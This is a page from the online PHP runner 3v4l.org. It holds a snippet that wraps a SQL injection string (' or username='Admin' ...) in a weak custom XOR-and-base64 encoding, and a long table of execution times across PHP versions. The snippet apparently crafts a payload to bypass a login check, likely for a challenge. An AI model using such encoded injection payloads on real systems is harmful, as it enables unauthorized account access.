3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("MTI5MTY0MTczMTY5MTc0' or username='Admin' or username='")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.01018.43
8.3.50.0130.00722.04
8.3.40.0040.01118.67
8.3.30.0070.00719.19
8.3.20.0000.00820.34
8.3.10.0040.00422.05
8.3.00.0040.00422.57
8.2.180.0150.00616.32
8.2.170.0090.00922.96
8.2.160.0070.00720.52
8.2.150.0050.00324.18
8.2.140.0000.00824.66
8.2.130.0000.00726.16
8.2.120.0050.00319.48
8.2.110.0000.00822.11
8.2.100.0000.01117.91
8.2.90.0030.00617.88
8.2.80.0000.00818.76
8.2.70.0060.00317.75
8.2.60.0000.00918.16
8.2.50.0050.00318.07
8.2.40.0000.00718.34
8.2.30.0030.00618.21
8.2.20.0000.00717.75
8.2.10.0040.00419.53
8.2.00.0000.00717.65
8.1.280.0120.00625.92
8.1.270.0040.00422.11
8.1.260.0000.00726.35
8.1.250.0000.00728.09
8.1.240.0100.00019.07
8.1.230.0110.00017.82
8.1.220.0050.00317.74
8.1.210.0060.00318.77
8.1.200.0050.00317.23
8.1.190.0000.00917.55
8.1.180.0030.00618.10
8.1.170.0050.00318.46
8.1.160.0030.00721.96
8.1.150.0000.00818.52
8.1.140.0040.00417.53
8.1.130.0000.00717.77
8.1.120.0000.00817.34
8.1.110.0000.00717.34
8.1.100.0000.00717.36
8.1.90.0040.00417.34
8.1.80.0000.00717.47
8.1.70.0000.00717.40
8.1.60.0060.00317.59
8.1.50.0030.00617.46
8.1.40.0000.00817.57
8.1.30.0000.00817.62
8.1.20.0000.00917.76
8.1.10.0030.00617.59
8.1.00.0040.00417.43
8.0.300.0040.00418.93
8.0.290.0040.00416.75
8.0.280.0000.00718.38
8.0.270.0030.00317.20
8.0.260.0040.00416.84
8.0.250.0040.00416.96
8.0.240.0060.00316.89
8.0.230.0030.00517.03
8.0.220.0000.00816.95
8.0.210.0000.00716.91
8.0.200.0050.00316.94
8.0.190.0070.00016.94
8.0.180.0080.00016.77
8.0.170.0000.00816.90
8.0.160.0040.00416.91
8.0.150.0000.00716.75
8.0.140.0030.00416.90
8.0.130.0060.00013.30
8.0.120.0000.00816.89
8.0.110.0000.00816.97
8.0.100.0040.00416.97
8.0.90.0040.00416.79
8.0.80.0070.01416.91
8.0.70.0000.00716.79
8.0.60.0000.00716.86
8.0.50.0000.00716.79
8.0.30.0110.01017.17
8.0.20.0100.00817.40
8.0.10.0070.00017.10
8.0.00.0090.01116.68
7.4.330.0020.00215.08
7.4.320.0000.00616.62
7.4.300.0000.00616.48
7.4.290.0030.00316.64
7.4.280.0070.00016.60
7.4.270.0000.00716.45
7.4.260.0040.00416.66
7.4.250.0040.00416.58
7.4.240.0040.00416.63
7.4.230.0070.00016.65
7.4.220.0090.00916.43
7.4.210.0060.00916.56
7.4.200.0070.00016.43
7.4.190.0070.00016.39
7.4.160.0170.00016.31
7.4.150.0130.00417.40
7.4.140.0130.00817.86
7.4.130.0150.00516.44
7.4.120.0160.00216.59
7.4.110.0180.00016.53
7.4.100.0130.01016.69
7.4.90.0070.01016.56
7.4.80.0170.00319.39
7.4.70.0150.00616.41
7.4.60.0160.00016.50
7.4.50.0000.00616.52
7.4.40.0000.01622.77
7.4.30.0090.00616.27
7.4.00.0040.01414.95
7.3.330.0000.00613.45
7.3.320.0000.00613.20
7.3.310.0050.00316.49
7.3.300.0030.00316.39
7.3.290.0030.01316.36
7.3.280.0070.00916.37
7.3.270.0130.00317.40
7.3.260.0220.00716.42
7.3.250.0150.00516.48
7.3.240.0030.01316.38
7.3.230.0170.00016.66
7.3.210.0160.00016.52
7.3.200.0120.00919.39
7.3.190.0100.01016.48
7.3.180.0110.00716.55
7.3.170.0040.01216.46
7.3.160.0060.00916.60
7.3.120.0100.00714.81
7.2.330.0070.01016.75
7.2.320.0090.00916.60
7.2.310.0120.00816.69
7.2.300.0120.01216.68
7.2.290.0160.00616.87
7.2.00.0000.01719.57
7.1.200.0040.01115.57
7.1.100.0030.01318.43
7.1.70.0030.00317.04
7.1.60.0120.01219.82
7.1.50.0000.01217.00
7.1.00.0070.07322.31
7.0.200.0100.00016.90
7.0.140.0000.07322.07
7.0.100.0270.07020.00
7.0.90.0200.08319.99
7.0.80.0100.03019.88
7.0.70.0030.09320.02
7.0.60.0030.05719.99
7.0.50.0070.06020.28
7.0.40.0200.07020.03
7.0.30.0130.03320.18
7.0.20.0100.04320.08
7.0.10.0070.07320.03
7.0.00.0030.08020.18
5.6.280.0100.06720.86
5.6.250.0100.06320.70
5.6.240.0030.04020.71
5.6.230.0000.06320.67
5.6.220.0070.08020.50
5.6.210.0030.05320.66
5.6.200.0130.07320.95
5.6.190.0100.03321.08
5.6.180.0170.05721.02
5.6.170.0000.04721.03
5.6.160.0100.08321.12
5.6.150.0030.07721.03
5.6.140.0030.08721.02
5.6.130.0070.05721.11
5.6.120.0100.07321.09
5.6.110.0030.04021.17
5.6.100.0130.08021.03
5.6.90.0170.03021.03
5.6.80.0030.04020.32
5.6.70.0100.04020.34
5.6.60.0070.08320.55
5.6.50.0130.07720.47
5.6.40.0000.04320.43
5.6.30.0130.06320.54
5.6.20.0100.03020.44
5.6.10.0000.07720.44
5.6.00.0100.07320.39
5.5.380.0070.06320.55
5.5.370.0130.07320.37
5.5.360.0070.03720.39
5.5.350.0100.04020.43
5.5.340.0070.07720.93
5.5.330.0070.04020.79
5.5.320.0100.07320.89
5.5.310.0100.06020.87
5.5.300.0070.05720.89
5.5.290.0030.08720.93
5.5.280.0000.04720.76
5.5.270.0100.08020.84
5.5.260.0130.03020.93
5.5.250.0070.04720.68
5.5.240.0070.03720.19
5.5.230.0100.03320.31
5.5.220.0070.08320.27
5.5.210.0000.04020.12
5.5.200.0100.07320.27
5.5.190.0070.06320.15
5.5.180.0030.07320.04
5.5.160.0100.07720.16
5.5.150.0070.04020.10
5.5.140.0000.04719.98
5.5.130.0100.04320.15
5.5.120.0070.06720.16
5.5.110.0070.07720.18
5.5.100.0070.04319.99
5.5.90.0030.07720.12
5.5.80.0100.07020.08
5.5.70.0100.07719.95
5.5.60.0030.07020.15
5.5.50.0030.08020.06
5.5.40.0130.06320.06
5.5.30.0100.05720.08
5.5.20.0130.08320.15
5.5.10.0070.08319.97
5.5.00.0030.08019.96
5.4.450.0070.05319.45
5.4.440.0000.07319.21
5.4.430.0100.07319.23
5.4.420.0070.07719.35
5.4.410.0070.05319.40
5.4.400.0070.06019.21
5.4.390.0030.03719.04
5.4.380.0070.06319.04
5.4.370.0070.07019.12
5.4.360.0130.03719.03
5.4.350.0030.06319.20
5.4.340.0100.07018.94
5.4.320.0100.07319.23
5.4.310.0030.03719.16
5.4.300.0000.07719.12
5.4.290.0070.06718.85
5.4.280.0030.08019.21
5.4.270.0000.07719.05
5.4.260.0000.08019.23
5.4.250.0100.07719.02
5.4.240.0070.07019.02
5.4.230.0130.07019.00
5.4.220.0130.06719.12
5.4.210.0030.07019.04
5.4.200.0070.07719.18
5.4.190.0100.07719.22
5.4.180.0100.06019.20
5.4.170.0200.06019.03
5.4.160.0100.03719.12
5.4.150.0070.07019.12
5.4.140.0030.04316.54
5.4.130.0100.04316.45
5.4.120.0070.07016.22
5.4.110.0070.06716.38
5.4.100.0030.04716.44
5.4.90.0100.07016.50
5.4.80.0070.03716.48
5.4.70.0030.04716.37
5.4.60.0030.07016.46
5.4.50.0130.06016.41
5.4.40.0130.07316.54
5.4.30.0030.08016.46
5.4.20.0100.06316.30
5.4.10.0170.06716.52
5.4.00.0070.06715.87
5.3.290.0070.07714.60
5.3.280.0030.08014.59
5.3.270.0070.07714.73
5.3.260.0100.07014.58
5.3.250.0030.07714.64
5.3.240.0030.04714.72
5.3.230.0030.07714.63
5.3.220.0130.07014.69
5.3.210.0070.05314.65
5.3.200.0070.07314.60
5.3.190.0100.06714.62
5.3.180.0030.05314.54
5.3.170.0070.08014.60
5.3.160.0070.07314.68
5.3.150.0100.07014.53
5.3.140.0170.07014.67
5.3.130.0100.06314.67
5.3.120.0130.04714.47
5.3.110.0100.07314.67
5.3.100.0100.08314.17
5.3.90.0070.07014.09
5.3.80.0030.06714.08
5.3.70.0070.04314.01
5.3.60.0070.06014.07
5.3.50.0000.04014.00
5.3.40.0070.05713.97
5.3.30.0100.06713.80
5.3.20.0170.07313.76
5.3.10.0070.04013.67
5.3.00.0070.06713.76
5.2.170.0130.05011.07
5.2.160.0070.06311.21
5.2.150.0100.05710.97
5.2.140.0100.06011.04
5.2.130.0070.05711.02
5.2.120.0070.06311.16
5.2.110.0070.03011.16
5.2.100.0030.06311.03
5.2.90.0170.02311.22
5.2.80.0030.06311.16
5.2.70.0100.05011.11
5.2.60.0000.06711.04
5.2.50.0070.05011.05
5.2.40.0000.03710.92
5.2.30.0030.03710.97
5.2.20.0070.03011.03
5.2.10.0030.03310.84
5.2.00.0000.05710.75
5.1.60.0030.05710.08
5.1.50.0000.05710.10
5.1.40.0130.0379.82
5.1.30.0030.05710.20
5.1.20.0030.03010.29
5.1.10.0100.03710.13
5.1.00.0030.04310.14
5.0.50.0030.0278.78
5.0.40.0030.0238.78
5.0.30.0070.0408.78
5.0.20.0030.0238.78
5.0.10.0070.0408.78
5.0.00.0070.0508.78
4.4.90.0000.0378.78
4.4.80.0000.0308.78
4.4.70.0030.0338.78
4.4.60.0100.0238.78
4.4.50.0030.0238.78
4.4.40.0070.0478.78
4.4.30.0000.0408.78
4.4.20.0000.0378.78
4.4.10.0030.0178.78
4.4.00.0070.0578.78
4.3.110.0000.0378.78
4.3.100.0000.0238.78
4.3.90.0000.0378.78
4.3.80.0000.0578.78
4.3.70.0070.0308.78
4.3.60.0030.0278.78
4.3.50.0000.0308.78
4.3.40.0070.0408.78
4.3.30.0000.0208.78
4.3.20.0030.0278.78
4.3.10.0030.0208.78
4.3.00.0030.0278.78

preferences:
48.36 ms | 401 KiB | 5 Q